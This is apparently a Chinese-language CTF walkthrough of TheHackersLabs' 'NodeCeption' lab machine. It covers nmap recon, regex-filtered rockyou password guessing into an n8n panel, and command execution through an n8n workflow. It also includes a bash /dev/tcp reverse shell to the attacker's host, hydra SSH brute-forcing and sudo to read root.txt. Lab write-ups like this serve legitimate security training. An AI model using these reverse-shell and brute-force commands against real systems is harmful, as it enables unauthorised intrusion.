<h1>NodeCeption</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/118">https://labs.thehackerslabs.com/machine/118</a>
</blockquote>
<img src="/post-images/TheHackersLabsNodeCeption/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ NodeCeption nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 20:09 CST
Nmap scan report for 192.168.56.1
Host is up (0.00034s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00028s latency).
MAC Address: 08:00:27:BE:8A:D9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.88
Host is up (0.00058s latency).
MAC Address: 08:00:27:B3:A3:BC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.09 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ NodeCeption nmap -sT -min-rate 10000 -p- 192.168.56.88
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 20:11 CST
Nmap scan report for 192.168.56.88
Host is up (0.00070s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5678/tcp open rrac
8765/tcp open ultraseek-http
MAC Address: 08:00:27:B3:A3:BC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ NodeCeption nmap -sT -A -p 22,5678,8765 192.168.56.88
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 20:12 CST
Nmap scan report for 192.168.56.88
Host is up (0.00053s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 67:df:2b:e6:48:16:ec:91:b1:a6:67:25:37:05:fc:0f (ECDSA)
|_ 256 dc:ab:74:b7:be:b5:49:6a:c8:7b:db:6b:7c:91:73:69 (ED25519)
5678/tcp open rrac?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: public, max-age=86400
| Last-Modified: Fri, 25 Jul 2025 12:09:30 GMT
| ETag: W/"7b7-198417d0a9c"
| Content-Type: text/html; charset=utf-8
| Content-Length: 1975
| Vary: Accept-Encoding
| Date: Fri, 25 Jul 2025 12:12:38 GMT
| Connection: close
| &#x3C;!DOCTYPE html>
| &#x3C;html lang="en">
| &#x3C;head>
| &#x3C;script type="module" crossorigin src="/assets/polyfills-B8p9DdqU.js">&#x3C;/script>
...
8765/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5678-TCP:V=7.95%I=7%D=7/25%Time=688374B9%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,8DC,"HTTP/1\.1\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nCach
SF:e-Control:\x20public,\x20max-age=86400\r\nLast-Modified:\x20Fri,\x2025\
SF:x20Jul\x202025\x2012:09:30\x20GMT\r\nETag:\x20W/\"7b7-198417d0a9c\"\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201975
SF:\r\nVary:\x20Accept-Encoding\r\nDate:\x20Fri,\x2025\x20Jul\x202025\x201
SF:2:12:38\x20GMT\r\nConnection:\x20close\r\n\r\n&#x3C;!DOCTYPE\x20html>\n&#x3C;html
SF:\x20lang=\"en\">\n\t&#x3C;head>\n\t\t&#x3C;script\x20type=\"module\"\x20crossorig
SF:in\x20src=\"/assets/polyfills-B8p9DdqU\.js\">&#x3C;/script>\n\n\t\t&#x3C;meta\x20
SF:charset=\"utf-8\"\x20/>\n\t\t&#x3C;meta\x20http-equiv=\"X-UA-Compatible\"\x2
SF:0content=\"IE=edge\"\x20/>\n\t\t&#x3C;meta\x20name=\"viewport\"\x20content=\
SF:"width=device-width,initial-scale=1\.0\"\x20/>\n\t\t&#x3C;link\x20rel=\"icon
</code></pre>
<h3>枚举测试</h3>
<code>8765</code> <code>Apache</code>默认页面
<img src="/post-images/TheHackersLabsNodeCeption/image1.png" alt="image.png">
<code>5678</code> <code>n8n</code>
<img src="/post-images/TheHackersLabsNodeCeption/image2.png" alt="image.png">
<code>n8n</code> 可以反弹 <code>shell</code>，但是要进入后台，并且需要邮箱和密码
<h2>密码爆破</h2>
我么寻找一下哪里能找到信息
<code>8765</code> 源码中得到信息
<img src="/post-images/TheHackersLabsNodeCeption/image3.png" alt="image.png">
<blockquote>
<a href="mailto:usuario@maildelctf.com">usuario@maildelctf.com</a>
希望您已按照说明更改密码。
请记住：密码至少 8 个字符，至少包含 1 个数字和 1 个大写字母。
</blockquote>
得到一个邮箱和密码策略
通过AI 写出正则表达式，然后匹配 <code>rockyou</code> 前 <code>5000</code> 的字典
<pre><code class="hljs language-bash">➜ NodeCeption head -n 5000 /usr/share/wordlists/rockyou.txt | grep -P '^(?=.*\d)(?=.*[A-Z]).{8,}$' 
Password1
PASSWORD1
</code></pre>
使用 <code>usuario@maildelctf.com</code>:<code>Password1</code> 可以登录进去
<img src="/post-images/TheHackersLabsNodeCeption/image4.png" alt="image.png">
<h2>n8n 后台利用</h2>
通过工作流运行命令
<img src="/post-images/TheHackersLabsNodeCeption/image5.png" alt="image.png">
测试一下
<img src="/post-images/TheHackersLabsNodeCeption/image6.png" alt="image.png">
成功访问
<img src="/post-images/TheHackersLabsNodeCeption/image7.png" alt="image.png">
反弹 <code>shell</code> ，这里没法用<code>nc</code> 弹
<pre><code class="hljs language-bash">/bin/bash -c 'bash -i >&#x26; /dev/tcp/192.168.56.5/1234 0>&#x26;1'
</code></pre>
<img src="/post-images/TheHackersLabsNodeCeption/image8.png" alt="image.png">
拿到立足点
<pre><code class="hljs language-bash">➜ NodeCeption nc -lvp 1234
listening on [any] 1234 ...
192.168.56.88: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.88] 48536
bash: cannot set terminal process group (2231): Inappropriate ioctl for device
bash: no job control in this shell
thl@nodeception:~$ 
</code></pre>
当前目录中可以拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">thl@nodeception:~$ cat user.txt 
THL_wxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
一看用户组
<pre><code class="hljs language-bash">thl@nodeception:~$ id
uid=1000(thl) gid=1000(thl) groups=1000(thl),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
</code></pre>
再看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">thl@nodeception:~$ sudo -l
Matching Defaults entries for thl on nodeception:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User thl may run the following commands on nodeception:
 (ALL) NOPASSWD: /usr/bin/vi
 (ALL : ALL) ALL
</code></pre>
但是执行时需要我们提供密码
尝试<code>hydra</code>爆破
<pre><code class="hljs language-bash">➜ NodeCeption hydra -l thl -P /usr/share/wordlists/rockyou.txt -t 8 192.168.56.88 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC &#x26; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-25 20:54:04
[DATA] max 8 tasks per 1 server, overall 8 tasks, 14344399 login tries (l:1/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://192.168.56.88:22/
[22][ssh] host: 192.168.56.88 login: thl password: basketball
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-25 20:54:27
</code></pre>
得到密码 <code>basketball</code>
结束
<pre><code class="hljs language-bash">thl@nodeception:~$ sudo cat /root/root.txt
[sudo] password for thl: 
THL_xxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>总结</h2>
梭哈

NodeCeption https://labs.thehackerslabs.com/machine/118 Recon PortScan 枚举测试 8765 Apache默认页面 5678 n8n n8n 可以反弹 shell，但是要进入后台，并且需要邮箱和密码 密码爆破 我么寻找一下哪里能找到...

TheHackersLabs - NodeCeption

TheHackersLabs - THLPWN

念念碎